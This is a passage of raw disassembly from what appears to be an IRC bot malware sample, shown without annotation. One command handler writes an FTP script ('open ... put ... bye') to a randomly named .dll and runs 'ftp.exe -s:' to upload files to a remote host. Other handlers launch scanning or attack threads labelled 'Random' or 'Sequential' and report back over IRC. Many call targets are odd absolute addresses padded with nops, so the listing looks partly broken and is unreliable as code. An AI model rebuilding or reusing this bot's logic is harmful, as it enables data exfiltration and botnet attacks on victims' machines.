sub_401ACD+577Cj nop call near ptr 2670914h push eax push offset unk_42A70C loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A6CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A6A4 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26808E8h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A634 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A604 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431440, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431440 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431440[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A59C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB030 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A534 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 2670914h push eax push offset unk_42A4FC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A4AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2670000h nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2670914h push eax push offset unk_42A470 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A464 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFE4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h call near ptr 2670000h nop jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2670914h push eax push offset unk_42A4FC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A3CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2670000h jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj call near ptr 2670914h nop push eax push offset unk_42A388 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A35C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2670000h nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2670914h push eax push offset unk_42A31C jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 2670000h nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 2670914h push eax push offset unk_42A2A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A278 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 2670914h push eax push offset unk_42A240 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A210 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j call near ptr 2670914h nop push eax push offset unk_42A1D8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A1A8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 2670000h nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2670914h push eax push offset dword_42A16C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A140 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2670000h jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j call near ptr 2670914h nop push eax push offset unk_42A108 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] call near ptr 2690BC3h nop test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A0AC push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A0A0 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A070 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 2670914h nop push eax push offset unk_42A034 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add 